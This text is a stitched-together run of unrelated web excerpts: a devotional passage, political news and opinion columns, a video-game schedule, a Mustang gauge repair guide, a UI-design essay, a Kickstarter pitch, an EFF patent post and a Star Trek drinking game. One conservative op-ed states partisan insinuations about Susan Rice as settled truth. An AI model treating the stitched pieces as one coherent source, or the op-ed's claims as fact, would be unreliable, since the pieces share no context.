insatiable thirst for comfort and control and revealed her most painful secrets and then told her he could satisfy her deepest thirst forever.  Jesus didn’t see her the way she saw him. He saw in her a troubled woman longing to be satisfied on a deep soul level. He saw her attempts to slake her own thirst through pluck and a long line of men. But he also saw a person who was created for worship and someone who would al- ways be thirsty apart from it. He saw a woman made in the image of God who wanted something God had put in her heart to desire—himself. And Jesus was telling her that the way to a satisfied heart came through him. It was as though as they sat beside the well, Jesus and this woman were the only two people in the world. He didn’t regard her by her reputation, but according to what her heart was created to hunger for.  She was a symbol of the world Jesus had stepped into—a world of people created to know and love their Maker. But so much in and around them was broken. The brokenness filtered through every single human relationship, from an unnoticed woman alone in the desert to the tetrarch of Galilee who had John the Baptist locked away in his dungeon. But that unsuspecting world was beginning to change as Jesus’s ways and words continued to spread.  About the Post: This post is an excerpt of chapter 7 of my 2015 release Behold the King of Glory: A Narrative of the Life, Death, and Resurrection of Jesus Christ.  About the Art: Annibale Carracci (1560-1609), The Samaritan Woman At The Well, oil on canvas, 170 x 225 cm, Pinacoteca di Brera, Milan, Italy.  ___________
-Malcolm Turnbull, Julie Bishop and Scott Morrison — the three Liberal ministers seen as leadership candidates in February's failed spill motion — are all set to campaign in the Canning byelection over the next 10 days.  But Prime Minister Tony Abbott, who is in Northern Australia for the rest of this week, would not say on Tuesday if he would make another appearance with Liberal candidate Andrew Hastie ahead of the crunch by-election contest because "life is pretty busy".  Tony Abbott with Liberal MP Andrew Hastie in 2015. Credit:Thomas Davidson  In addition to Mr Turnbull, Ms Bishop and Mr Morrison, Treasurer Joe Hockey and Finance Minister Mathias Cormann plan to campaign in the seat over the next week.  The Canning byelection is due to be held on September 19, but with Parliament to sit for two weeks from September 7, next week offers the most straightforward opportunity for senior ministers to participate in the campaign.
-EA Sports today unveiled the upcoming “playbook” structure for news on Madden NFL 25. The first scheduled for Thursday, “Run Free”, is expected to be similar to the running game enhancements already announced for NCAA Football 14. That it comes along with the cover announcement and the start of the NFL Draft suggests it won’t be much more than that.  A few weeks later talk on advancements to Connected Careers will begin – though interestingly it’s being referred to as “Connected Franchise” here with a name change likely in response to considerable consumer confusion regarding the transition from Franchise to Connected Careers last year. Too many people thought Franchise mode had just been removed.  There is also a distinct gap surrounding E3 which begins June 11 with the EA press conference likely falling on Monday the 10th. That could mean either something being kept under the wraps for the event, or that the focus there will be on next-gen with the 360/PS3 versions taking the backseat for that period.  Run Free (4/25)  Unlock the power, precision and creativity of an NFL ball carrier.  Connected Franchise Part 1 (5/6)  Cement your legacy as one of the all-time great NFL players or coaches in the new and improved Connected Franchise.  Connected Franchise Part 2 (5/20)  Take ultimate control of your franchise  Madden Share (6/24)  The best content from around the Madden NFL universe, right at your fingertips.  Madden Ultimate Team (7/1)  Enjoy new ways to play and build your team in this year’s edition of Ultimate Team.
-But as we approach an election year, it is important to acknowledge the larger context: Obama has done better than many critics on the left or the right give him credit for.  He took office in the worst recession in more than half a century, amid fears of a complete economic implosion. As The Onion, the satirical news organization, described his election at the time: “Black Man Given Nation’s Worst Job.”  The administration helped tug us back from the brink of economic ruin. Obama oversaw an economic stimulus that, while too small, was far larger than the one House Democrats had proposed. He rescued the auto industry and achieved health care reform that presidents have been seeking since the time of Theodore Roosevelt.  Despite virulent opposition that has paralyzed the government, Obama bolstered regulation of the tobacco industry, signed a fair pay act and tightened control of the credit card industry. He has been superb on education, weaning the Democratic Party from blind support for teachers’ unions while still trying to strengthen public schools.  Photo  In foreign policy, Obama has taken a couple of huge risks. He approved the assault on Osama bin Laden’s compound in Pakistan, and despite much criticism he led the international effort to overthrow Muammar el-Qaddafi. So far, both bets are paying off.  Granted, the economic downturn overshadows all else, as happens in every presidency. Ronald Reagan, the Teflon president, saw his job approval rating sink to 35 percent in January 1983 because of economic troubles. A faltering economy sent the popularity of the first president Bush into a tailspin, tumbling to 29 percent in 1992.  By comparison, President Obama has about a 43 percent approval rating, according to Gallup.  Senator Dick Durbin of Illinois tells me he thinks that liberals will eventually unite behind the president. “It’s never going to be the first date we had four years ago,” he said. “But I don’t question the fact that he’ll have the support of the left.”  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Still, it’s hard to see how Obama will replicate the turnout that swept him into office, or repeat victories in crucial states like Florida and Ohio.  Advertisement Continue reading the main story  Then again, Republicans face a similar enthusiasm gap with their likely nominee, Mitt Romney. (Republicans keep searching for any other candidate who they think would be electable, when they already have one: Jon Huntsman. They just don’t like him.)  Earlier this month, I asked Bill Clinton — who has a better intuitive feel for politics than anyone I know — about Obama’s chances for re-election. “I’ll be surprised if he’s not re-elected,” Clinton said, adding that Obama would do better when matched against a specific opponent like Romney.  Clinton said that Romney did “a very good job” as governor of Massachusetts and would be a credible general election candidate. But Clinton added that Romney or any Republican nominee would be hampered by “a political environment in the Republican primary that basically means you can’t be authentic unless you’ve got a single-digit I.Q.”  I’m hoping the European elections will help shock Democrats out of their orneriness so that they accept the reality that we’ll be facing not a referendum, but a choice. For a couple of years, the left has joined the right in making Obama a piñata. That’s fair: it lets off steam, and it’s how we keep politicians in line.  But think back to 2000. Many Democrats and journalists alike, feeling grouchy, were dismissive of Al Gore and magnified his shortcomings. We forgot the context, prided ourselves on our disdainful superiority — and won eight years of George W. Bush.  This time, let’s do a better job of retaining perspective. If we turn Obama out of office a year from now, let’s make sure it is because the Republican nominee is preferable, not just out of grumpiness toward the incumbent during a difficult time.
-On Friday afternoon, Wendy Lower, the author of Hitler’s Furies: German Women in the Nazi Killing Fields, participated in an interactive interview with The Atlantic’s Jennie Rothenberg Gritz. Lower had discussed her process of researching and writing Hitler’s Furies, now a National Book Award Finalist, then they turned to the online audience for questions.  An elderly woman popped up onscreen via webcam. “Can you suggest any strategies to take care of the emotions?” she asked in accented English. “Sometimes I manage and sometimes I don’t.”  After a moment, the woman clarified: “I’m a survivor. So sometimes I can put on my teacher hat and I manage. And sometimes at the end of it, I’m exhausted. It’s very hard to deal with the events as history alone.”  Liz Igra, as she identified herself in the online conversation, went on to say that she’d spent many years giving presentations on her experience as a Holocaust survivor. Because she’d seen “how poorly the subject was taught, not for lack of information, but rather of a deeper understanding of how to connect with students,” she started an organization of her own five years ago that trains teachers how to present the Holocaust in classroom settings. Lower, who teaches Holocaust history herself at Claremont McKenna College in California, had plenty of thoughts on that subject. What ensued from there was a conversation between two teachers about how to best research the Holocaust as well as convey the magnitude of the atrocities carried out against European Jews during World War II to students, while also protecting the students’ emotions and their own.
-One student's fight for mental health awareness inspires a movement  Sarah Spitz arrived at Emory University in 2009 eager to find out what the next four years had in store. But as the readings piled up and her first test approached, the self-proclaimed perfectionist couldn’t handle the pressure.  Spitz struggled with depression and anxiety in high school and was hesitant to leave Emory to get help. When she did go home, she was diagnosed with borderline personality disorder.  For Spitz, this marked the start of a battle to transform mental health awareness on college campuses nationwide.  “A lot of people feel like the diagnosis is a death sentence,” Spitz says. “I never really felt like that. Getting that diagnosis was kind of reassuring, knowing that there were other people like me and that I’m not the only one.”  Sarah Spitz with Active Minds founder and Executive Director Alison Malmon. (Photo11: Photo courtesy Spitz)  And Spitz is not alone. According to the National Alliance on Mental Illness, one in every four young adults between the ages of 18 and 24 have a diagnosable mental illness, which includes depression, anxiety, eating disorders and addictive behaviors among others. This statistic inspired Spitz to share her story in an effort to diminish stigmas surrounding mental health issues.  And she has inspired the country. Just last week Spitz was named one of CNN’s “Nine Mental Health Warriors,” honoring those who are making a difference in the fight for mental wellness.  Spitz says it wasn’t easy to open up and share her experiences at first. When she returned to Emory in the fall of 2011, she had many awkward conversations and was hesitant to tell people where she had been for the past two years.  Related: Viewpoint: Don't be afraid to seek help for mental health issues during college  But once she discovered Active Minds, a non-profit student mental health advocacy organization, her disorder became an experience she used to help others.  “I really do believe that Active Minds has helped me get through school,” says Spitz. “I began sharing my story with people and I found that by starting to talk about it, we can get other people to talk about it and really get people the help that they need and deserve.”  “We all think that if we’re struggling it’s our fault and we’re the only ones."  This is exactly what Alison Malmon had in mind when she founded Active Minds in 2003 at the University of Pennsylvania after her brother took his own life at the age of 22. The organization is now on 400 high school and college campuses nationwide  “I started Active Minds with the goal to get students talking about mental health issues--to share their experiences, to learn from others, to know that there is help and to feel comfortable getting that help as soon as they need it,” Malmon says.  She says Active Minds is fortunate to have members like Spitz.  “She’s a tremendous advocate who uses her experiences to help others,” says Malmon. To open up about what she’s experienced and use it to help and support others, it just speaks volumes for her character.”  Dr. Mark McLeod, the director of Emory’s Student Counseling Center and Emory’s Active Minds adviser calls Spitz a “force of nature.”  He says Active Mind’s presence at Emory has been instrumental in sparking important conversations on campus. McLeod points to one event called “Speak Out,” where students to submit and read stories about their own mental health challenges, that has proved tremendously successful over the past three years.  “As a mental health professional, for students to just come to an event like that, and then to speak at an event like that, or even have their story read anonymously-- it’s just mind blowing,” says McLeod. “Four years ago you would have had nobody there.”  Related: 55 universities join Jed and Clinton health program to address mental health, student safety  McLeod hopes that in the upcoming years, Spitz’s work will prompt students to view mental and physical health issues in a similar light.  “There’s no logical reason in my mind why it should be harder to tell somebody, ‘I’m anxious,’ ‘I’m depressed,’ as opposed to ‘I have a sore throat,’ My arm is hurting,’” says Spitz. “Active Minds is going to change that and to be a part of that, which is an amazing thing.”  While Emory and other campuses have come a long way, Malmon says there’s still more to be done.  “Not quite everyone yet has that knowledge of the real nature of mental health issues -- that mental health issues are real health issues, and there are resources available for seeking out help,” Malmon says.  She hopes Active Minds will reach every U.S. college campus so students like Spitz can inspire others to get help.  “We all think that if we’re struggling it’s our fault and we’re the only ones,” says Malmon. “(Sarah) reminds everybody that it’s not always sunshine and roses throughout a young adult life – that challenges can happen and you have reason to hope.”  And Spitz is eager to continue sharing her story and giving advice  “Do your best, and accept that your best might not be the same as someone else’s best and that’s OK,” says Spitz. “There are a lot of people, offices and professionals in the university system that are there to help. So just know you’re not alone.”  While Spitz never expected that her initial struggle would become a life-long mental health advocacy fight, she has big plans for the future.  “I want to show that it’s possible to get through college even if you struggle,” says Spitz. “Know that it’s OK if your path doesn’t look the same as everyone else’s.”  Rachel Rosenbaum is a student at Emory University and a spring 2015 USA TODAY Collegiate Correspondent.  This story originally appeared on the USA TODAY College blog, a news source produced for college students by student journalists. The blog closed in September of 2017.  Read or Share this story: https://usat.ly/2was8GC
-The opinions expressed by columnists are their own and do not represent the views of Townhall.com.  Truth can be buried in a grave but it won’t stay there.  That doesn’t mean those left holding the shovel won’t temporarily profit. Judas got his 30 pieces of silver and Barack Obama got his second term, thanks to those in his administration like Susan Rice who buried truth and misled the American people.  The barbaric chemical weapon attack on innocent children, women and men that took place in Syria April 4 seemingly contradicts what former National Security Advisor Susan Rice said a couple months ago. During an NPR interview on January 16, Ms. Rice claimed the Obama administration was “able to find a solution that didn’t necessitate the use of force that actually removed the chemical weapons that were known from Syria…” She said they accomplished this “by virtue of the diplomacy that we did with Russia…” (yes, Russia!) “We were able to get the Syrian government to voluntarily and verifiably give up its chemical weapons stockpile.”  Pitifully, the truth about chemical weapons came out by way of those succumbing to the horrific effects of the sarin gas attack. Might the Obama administration’s so-called “diplomacy” really be collusion with Russia to keep Assad in power to secure the Iran “deal”?  Years back, Rice seemed to grab rationalizations from thin air to explain away the attacks in Benghazi, Libya. Rice stood by the ludicrous claim that Benghazi burned and people died because of a video until truth rose from the ashes like a phoenix to show the catalyst was really a terrorist attack, inconveniently contradicting Barack Obama’s 2012 reelection campaign rhetoric suggesting al Qaeda was of little threat and on the run.  A Freedom of Information Act lawsuit by Judicial Watch suggests the Benghazi lies came from the top. Six weeks before the 2012 election, Ben Rhodes, an assistant to the president and deputy national security advisor for strategic communications instructed recipients to communicate: “…the protests are rooted in an Internet video, and not a broad failure of policy” and “to reinforce the president and administration’s strength and steadiness in dealing with difficult challenges.”  Most recently, Rice is in the news for her alleged ties to the unmasked identities of Trump campaign associates incidentally swept up in surveillance of foreign targets. On March 22, 2017, Rice said on PBS she knew nothing about surveillance of Trump officials, apparently assuming nothing would come from the freshly turned dirt Intelligence Committee Chairman Devin Nunes uncovered. Not long after, the truth surfaced that Rice not only knew about it, the Daily Caller reports Rice submitted the requests for unmasking.  Called out on it, Rice claimed the request to unmask several Trump campaign and transition officials wasn’t politically motivated. Fred Fleitz, a former CIA analyst, says it’s “hard to fathom” how it wasn’t politically motivated. In a Fox News op-ed, Fleitz wrote, “Rice’s denials don’t add up.”  For those living in Mythomania, facts don’t need to add up because truth is a moving target. They’ll tell you two plus two equals five if it gets them closer to their goal.  Senator Rand Paul (R-KY) believes Rice committed a crime and should be forced to testify under oath. Even if she does testify, she’ll probably plead the fifth as did so many Obama administration officials.  For the rest of us, it’s important to remember there is such a thing as absolute truth and it is not relative to mood or circumstance or public perception or personal preference or political party. Therefore, we haven’t the luxury of customizing it to our liking, despite how much something is accepted by society. Wrong will never become right and lies will never become truth.  In short, truth is truth.  If we believe otherwise, we may get what we want temporarily -- like Obama got his second term -- but we’ll lose ourselves along the way, as we slide down that slippery slope toward Mythomania.  ©2017 Susan Stamper Brown Susan lives in Alaska and writes about culture, politics and current events. She is a regular contributor to Townhall, The Christian Post and Right Wing News. Susan’s nationally syndicated column is published in scores of newspapers and publications across the U.S. She writes about politics, culture and media and was selected as one of America’s 50 Best Conservative writers for 2015 and 2016. Contact her by Facebook or at writestamper@gmail.com.
-Wes Duenkel October 3, 2017  Keeping track of mileage, like birthdays, after a certain age is perhaps too depressing to document. As the years tick by with increasing velocity, it’s human nature to look fondly on past. So while it might seem attractive to continue claiming one’s age as twenty-nine well beyond that mark, it’s rather inconvenient when the odometer on your 1994-1998 Mustang stops spinning.  The odometer on our 1995 Mustang GT gave up the ghost at after two decades and 110,515 miles of service. Luckily for us, Late Model Restoration offers an inexpensive way to get those odometers back into action: their Odometer Repair kit. While we had the gauge cluster out, we added LMR’s White Face Gauge kit and Diode Dynamics LED bulb set to our much-loved SN95’s gauges a, uh, “facelift.”  In the end, we not only got our odometer function back, but our gauges gained a brighter, modern look—during night and day.  1. The odometer on our 1995 Mustang GT gave up the ghost at after two decades and 110,515 miles of service.  2. Luckily for us, Late Model Restoration offers an inexpensive way to get those odometers back into action: their Odometer Repair kit. While we had the gauge cluster out, we added LMR’s White Face Gauge kit and Diode Dynamics LED bulb set to our much-loved SN95’s gauges a, uh, “facelift.”  3. We began the procedure by removing the light switch knob using a small screwdriver to release the clip holding it onto the headlight switch shaft.  4. After removing the two T20 Torx screws at the top of the bezel, we removed the bezel by pulling gently around its perimeter to release the retaining clips.  5. Next, we removed the instrument cluster’s four mounting screws with a T20 socket.  6. With the gauge cluster free, we unplugged the two harness connectors leading to the cluster.  7. Next, we removed the screws retaining the gauge cluster cover and set the cover aside.  8. The cover hides this last screw, so we removed it as well.  9. We used a plastic prying tool to free the gauges from the backing plate.  10. Then, we removed all three gauge panels from the backing plate.  11. With the speedometer flipped over, we then removed the odometer motor from the housing.  12. With the motor removed, we used a pliers to pull the black plastic driven gear from the housing.  13. It’s not a mystery why our odometer stopped working. The driven gear’s plastic was soft, brittle, and missing teeth. This is why our odometer stopped working.  14. After pulling off the OEM worm gear from the motor, we pushed on the new gear from Late Model Restoration Supply.  15. Next, next, we installed the new odometer gear into the speedometer housing and remounted the motor.  16. With the odometer gear replacement task complete, we prepped the gauge faces for the white decals. First, we removed the gauge needle pins from the gauge face.  17. Since we had the cluster removed from the car, we used a flashlight to ease alignment of the white face decals with the translucent areas of the gauges.  18. We peeled a white face gauge decal from its backing and sprayed it with mild soapy water.  19. Next, we carefully threaded the needle through the decal’s hole and around the needlbe base.  20. After carefully aligning the transparent areas of the decals with the translucent areas of the gauges, we used an old credit card to squeegee the soapy water out from under the decal.  21. After the decals dried, we replaced the gauge cluster cover.  22. Before reinstalling the gauge cluster, we removed the dim incandescent bulbs so we could replace them with LED bulbs.  23. The bulbs click into the receptacles just like the OEM pieces, but are much brighter.  24. With the gauge cluster clean and refreshed, we reinstalled it into our much-loved 1995 GT.  25. Not only does our odometer work properly (it moved a mile!) the white face gauge kit and LED bulbs gave our instruments a brighter, modern look.
-It’s been one of my major pet peeves on both Android and iOS: the total and utter lack of consistency. Applications – whether first party or third party – all seem to live on islands, doing their own thing, making their own design choices regarding basic UI interactions, developing their own non-standard buttons and controls. Consistency died five years ago, and nobody seems to care but me.  As a proponent of what is now called the old school of UI design, I believe consistency is one of the most important aspects of proper user interface design. A consistent interface requires less learning, because users can carry over their experience from one application to the next, making the whole experience of using a UI more fluid. Applications should be the means to an end – not the end itself.  The release of the iPhone, and more specifically of the App Store, changed user interface design practically overnight. A lot of people focus on the shift to finger input as the biggest change the iPhone caused in UI design, but in reality, the move from thin stylus to fat stylus (the finger) isn’t that big a shift at all. No, for me, the biggest change in UI design caused by the iPhone, and later Android, is that ‘consistency’ lost its status as one of the main pillars of proper UI design.  Three reasons lie at the root of this underreported, massive shift. The first is conceptual, the second practical, and the third consequential.  Conceptual  iOS popularised a single-tasking interface, where only one application is visible at any given time – quite the far cry from desktops and laptops where we have lots of different applications running at once (or at least have the ability to do so). iOS obviously didn’t invent the concept; in fact, it’s as old as computing itself. Even in the mobile world, iOS just built on that which came before, since both PalmOS and Windows Mobile used the exact same single-tasking focus.  The consequence is that the application pretty much becomes the device. It’s the sole focus, the sole star of the show, with the operating system reduced to a status bar at the top of the screen. It’s quite similar to how game consoles have been operating for ages; in fact, older consoles generally couldn’t boot into a stand-alone, non-game operating system at all.*  As with anything under a spotlight, this has consequences. If all the user sees is a single application, deviations from UI standards and conventions don’t jump out as much, and developers can more easily experiment with changing the appearance or – worse yet – the behaviour of UI elements, or even create entirely new ones that have no equivalents in the rest of the operating system or application base. Since the user will never see applications side-by-side, these deviations don’t stand out visually (but they do stand out behaviourally).  Given this level of freedom to design the appearance of an application, the application itself becomes the focal point, instead of the task it is supposed to accomplish. We have entire websites dedicated to how an application looks, instead of to how it works. It is, perhaps, an analogy of how computer technology is perceived these days – style over substance, ‘it looks good so it must work well’. If some website reports on a new application for iOS or Android, the first few comments will almost inevitably be about how the application looks – not about if the application works.  We’ve reached a point where it’s entirely acceptable to reduce functionality just to make an application look good. We give more accolades to a developer who designs a pretty but functionally crippled application than to a developer who creates a highly functional and useful, but less pretty application. In my view, removing functionality because you don’t know how to properly integrate it into your UI is a massive cop-out, an admission of failure, the equivalent of throwing your hands in the air, shouting ‘I give up, I know my application needs this functionality but because I don’t know how to integrate it, I’ll just claim I didn’t include it because users don’t need it’.  Because the application itself has become the focal point, the designers have taken over, and they will inevitably feel constrained by the limits imposed upon them by human interface guidelines and commonly accepted user interface standards. The end result is that every application looks and works differently, making it very hard to carry over the experience from one application to the next.  Consistency suffers.  Practical  The smartphone market (and to a lesser degree, the tablet market) is divided up in two segments. iOS and Android are both highly desirable targets for mobile application developers, and as such, it’s becoming very hard to ignore one or the other and focus on just one. Instagram, Flipboard, Instapaper – even platform staples had to face the music and move to Android, sometimes kicking and screaming.  This has had a crucial effect on application development. I can’t count how many times I downloaded an Android application, only to realise it was a straight iOS port without any effort put into properly integrating it with Android UI conventions and standards. A logical consequence of the mobile application business not being as profitable as some make it out to be; most developers simply don’t have the time and money to do it properly.  Some applications take an entirely different approach to ‘solve’ this problem, by using lowest common denominator technologies. The official Google Gmail application for iOS is basically just a web page, and the Facebook application relies on HTML as well to display timelines. Both use entirely non-standard UI elements and conventions, of course (in addition, performance suffers for it, but that’s another story altogether).  Whatever the case – straight UI port or lowest common denominator technologies – consistency suffers.  Consequential  The third and final cause of the death of consistency is the sheer size of the App Store and the Google Play Store. Each of these is now populated by literally hundreds of thousands of applications, with every type of application having dozens, if not hundreds, of similar alternatives. In order to not drown in this highly competitive tidal wave of applications, you need to stand out from the crowd.  A highly distinctive interface is the best way to do this. If you were to follow all the standard UI conventions of a platform, you wouldn’t stand out at all, and would risk not being chosen among your flashier – but potentially less functional – competitors. It’s the equivalent of television commercials and web advertisements trying to stand out through motion, sound, pop-ups, screen-covers, flashing, and so on. “Hello, you there! Notice me! Notice me!”  If custom UI elements are required to stand out, they are added. If UI conventions need to be broken in order to differentiate from the crowd, so be it. If we lose functionality in the process – who cares, reviews will focus on how good we look anyway. Again – consistency suffers.  Mourning  In the smartphone and tablet age, the application has become the star. The days of yore, where the goal of an application was to disappear and blend in with the rest of the system as much as possible so that users could focus on getting the task done instead of on the application itself, are gone. Instead, applications have become goals in and of themselves, rather than just being the means to an end.  My ideal application is one that I don’t care about because it’s so non-distinctive, invisible and integrated into the system I barely notice it’s even there in the first place. During its heydays, GNOME 2.x represented this ideal better than anything else (in my view). GNOME 2.x sported an almost perfect behavioural and visual integration across the entire desktop environment, making it one of my personal favourite UIs of all time. KDE 3.x had incredibly tight behavioural integration, but, in my opinion, failed a bit on the visual side. Windows has been an utter mess for a long time, and Mac OS X started out okay, but once brushed metal and the wood panelling were introduced, it pretty much went downhill from there – and is still going down.  And my desire for applications to be invisible is, of course, the exact problem. A highly consistent interface is one where applications do not stand out, where they are designed specifically to blend in instead of drawing attention. This goes against the very fibres of many designers, who, understandably, want to make a statement, a demonstration of their abilities. On top of that, they need to stand out among the loads and loads of applications in the application stores.  Sadly – I, as a user, suffer from it. I don’t like using iOS. I don’t like using Android. Almost every application does things just a little bit differently, has elements in just a slightly different place, and looks just a bit different from everything else. I have to think too much about the application itself, when I should be dedicating all my attention to the task at hand.  I know this is a lost battle. I know I’m not even in the majority anymore – consistency lost its status as one of the main pillars of proper UI design almost instantly after the release of the iPhone. People who stood next to me on the barricades, demanding proper UI design, people who blasted Apple for brushed metal, people who blasted Windows for its lack of consistency, those same people smiled nervously while they stopped advocating consistency virtually overnight.  Consistency became a casualty almost nobody ever talked about. A dead body we silently buried in the forest, with an unwritten and unmentioned pact never to talk about the incident ever again. Consistency is now a dirty word, something that is seen as a burden, a yoke, a nuisance, a restriction. It has to be avoided at all costs to ensure that your application stands out; it has to be avoided at all costs to let the designer have free reign.  I mourn the death of consistency. I may be alone in doing so, but every death deserves a tear.
-About  Get YOUR Kicks on Route 66!  I have launched this Kickstarter campaign to raise funds for a documentary film about 5 superstars of the Scottish music scene as they play their way across America. No matter where you live in the world, you can help this film become a reality.  U.S. Highway 66 -- popularly known as Route 66 or the Mother Road -- holds a special place in American consciousness and evokes images of simpler times, mom and pop businesses, and the icons of a mobile nation on the road. Running through the nation’s heartland from Chicago to Santa Monica, the legendary road passes through many picturesque places, including my own home town, South Pasadena, California.  In April an all-star cast of bagpipers and drummers is taking to the road on a historic tour down Route 66, performing concerts and teaching workshops in what is being dubbed “Pipes & Sticks on Route 66.” Pipers Stuart Liddell, Willie McCallum, and Angus MacColl and snare drummer Jim Kilpatrick MBE, all from Scotland, are being joined by bass drummer and percussionist Mike Cole from Chicago. (click on names to see each player's video)  The five players are considered to be “the best of the best” in the world of piping and drumming. Each member of the group has won every important solo piping and drumming award several times. The players are well-known for their incredible talent and for their entertaining way on the stage. Concerts will consist of traditional tunes as well as crowd-pleasing numbers frequently requested. Humor will be an integral part of the concerts and audience participation is expected.  The guys approached me and asked if I’d like to make a documentary about the adventure. I didn’t have to think too hard about it as it seemed like the trip of a lifetime with all the potential of being a really entertaining film. My previous feature documentary, ON THE DAY: The Story of the Spirit of Scotland Pipe Band, was totally funded by contributions from the piping and Scottish community from around the world – and that was before I knew about Kickstarter. Last summer, I launched a successful Kickstarter campaign to fund the On The Day 3-Disc Collector’s Box Set, so now I’m reaching out to you again to make this project a reality.  Make sure you watch the video at the TOP OF THE PAGE and check out your rewards to the RIGHT >.  ABOUT THE GOAL AMOUNT  I want you to know that the $66,000 goal is the bare bones minimum amount to get the documentary shot and into the first phase of post-production, but does not cover the full budget of close to $200,000. Every penny will go into the production with no contingency and no salary to me. I hope the pledges will take us beyond the minimum goal so that the film will have even more production value, and I can be paid for my many months of work. And remember, Kickstarter is an all or nothing proposition: if the goal is not met, I get nothing and you pay nothing!  April 5 Chicago MEET & GREET Mo Dailey's Pub & Grille  April 7 Chicago CONCERT Irish American Heritage Center*  April 8 St. Louis JAM SESSION The Scottish Arms  April 10 Tulsa CONCERT Oklahoma State University*  April 11 Oklahoma City MUSIC TRIBUTE Memorial Park  April 12 Lubbock CONCERT Cactus Theatre*  April 14 Albuquerque CONCERT El Rey Theatre*  April 15 Albuquerque WORKSHOP for pipers & drummers  April 17 Flagstaff CONCERT American Legion Hall  April 18 The Grand Canyon  April 20 Pasadena PUB CRAWL on Colorado Blvd., Old Pasadena  April 21 Pasadena WORKSHOP 12pm-4pm for pipers & drummer  April 21 Pasadena CONCERT Westminster Presbyterian Church*  * Click the link to order your tickets now! Like us on FACEBOOK.  What if you want more rewards than those offered at your pledge level? The answer is at the bottom of the page under FAQ's.  More rewards will be added in the weeks ahead. So keep checking back in. You can donate again and again to get more rewards!  Thanks!
-You might remember that late last year, Congress passed the America Invents Act, a largely toothless law that fails to address many of the biggest problems facing the patent system. In implementing that new law, the Patent and Trademark Office issued proposed guidelines for certain supplemental examination procedures. The PTO also recommended a huge increase in fees for filing certain patent reexaminations. As you might guess, this is a terrible idea.  The reexam process is an essential part of the patent ecosystem. It forms the basis for our Patent Busting Project and allows us to attack dangerous and overbroad patents like those that are asserted against cash-strapped municipalities.  It's vitally important that public interest groups like EFF and small entities who may lack substantial resources be able to participate in reexams at the PTO. Raising the fees for filing reexams to $17,750 (for filing alone!) promises to discourage that important third-party participation, which the Patent Office claims to care much about. Today, we filed comments with the Patent Office saying as much, and urging the Office to reconsider the fee increase – or at least carve out an exception for public interest groups and other small entities. The Patent Office should use this opportunity to encourage the type of participation in the reexam process that benefits inventors, users, and an agenda that promotes innovation.
-netjeff.com Humor collection Star Trek: The Next Generation Drinking Game  Ad: netjeff recommends rShopping app for Android, for your shopping list needs.  Star Trek: The Next Generation Drinking Game  Hey Folks, It has long been said that college students will take any and every opportunity to drink, regardless of the circumstances. It's true... we will. And we also manage to make it fun... So the next time you're watching Star Trek, pull this out and drink per each successfully met condition. Guaranteed to get you LOADED. Have a good week. Greg Williams 38williams(at)cua.edu STAR TREK: THE NEXT GENERATION DRINKING GAME RULES (To be played while watching the show.) Have one sip of beer per successfully met condition Anybody: 'Open hailing frequencies' 'Medical emergency' 'Belay that order' 'Energise' 'Hell','Damn' and other swearing. See Rikers special swearing rules. Picard: 'Make it so' 'Engage' 'Come' - two if said in personal quarters 'Captain's log' - two if supplemental 'Proceed' 'Number One' Worf: 'Impressive' 'Admirable' 'Grrrrr' ( A simple sneer qualifies) Data: 'Fascinating' 'Accessing' DRINK WHENEVER: Riker swears - two drinks; three if it's 'hell'; whole beer if he asks 'what the hell is going on' Riker walks forward as if he's trying to knock an imaginary door down with his forehead. A female character has flawless makeup after she's been through the ringer. Picard straightens his uniform Data's innards are revealed Data uses his strength Data is cut off mid sentence - two drinks if it's a list of synonyms. Data gripes about his inability to perceive human emotion Geordie's visor is taken or knocked off Georgie gets bitched out for faulty engine, warp drive, etc. Beverly can't figure out some bizarre medical problem Deanna senses something really shocking Deanna gives us Betazoid insight into something really obvious O'Brien has a line (this gets brutal after the third season - weak drinkers may pass) A crew member drinks - two if it's Picard; three if it's Picard drinking tea; four if the tea is identified as Earl Grey. A bridge officer is shown in casual clothes (one drink per scene, per officer) = two drinks if it's Beverly in a sweater; two drinks if it's Picard in his chest revealing bedwear. A bridge officer appears in dress uniform (one drink per scene, per officer) Every time somebody is addressed by his or her first name - two if there's some kind of sexual tension going on. Every time they use transporter room three. A shuttle craft seems like an unsafe place to be. Somebody reads a book. Somebody preaches the Prime Directive - two if it's NOT Picard Somebody preaches about Humanity's Unique Potential Picard has an accident or is attacked - two drink; three if it draws blood Picard is possessed - four drinks An 'old earth saying' is brought up - two if Data has to have it explained to him. Patrick Stewart tries to speak French Wesley talks back to his Mom. Somebody implies that Ten Forward is a Happening Place They fade for an advertisement playing the 'ominous horns' Klingon is spoken - two drinks per scene in which Klingons are alone and have no obvious reason to speak English but do anyway. Each scene in which a nifty new Romulan ship is shown There's a token alien in the background with no lines - two if it's a Vulcan. Yellow Alert - one drink Red Alert - two drinks Intruder Alert - three drinks Another Captain or Star Fleet Command officer is on screen. There's a countdown Every time a bridge command is handed over The Enterprise crew avoids a confrontation instead of blasting away. Each scene in which the Enterprise actually fights (shots must be fired) - two drinks. Whole beer whenever the saucer section separates. They contact somebody on the communicator/intercom without going to a panel or touching anything. A communicator isn't working or is blocked - two if it's out of range. New Trek contradicts a fact from Old Trek (Unfortunately, players may be too drunk to adjudicate this rule) You're thirsty. ********************************************************************** _____..---========+^+=========---.._____ ______________________ __,-='=====____ ================== _____=====`= (._____________________I__) - _-=_/ `--------=+=--------' / /__...---===='---+---_' '------'---.___ - _ = _.-' `--------' Enjoy! G.D.W. (38williams(at)cua.edu) **************************************************************************
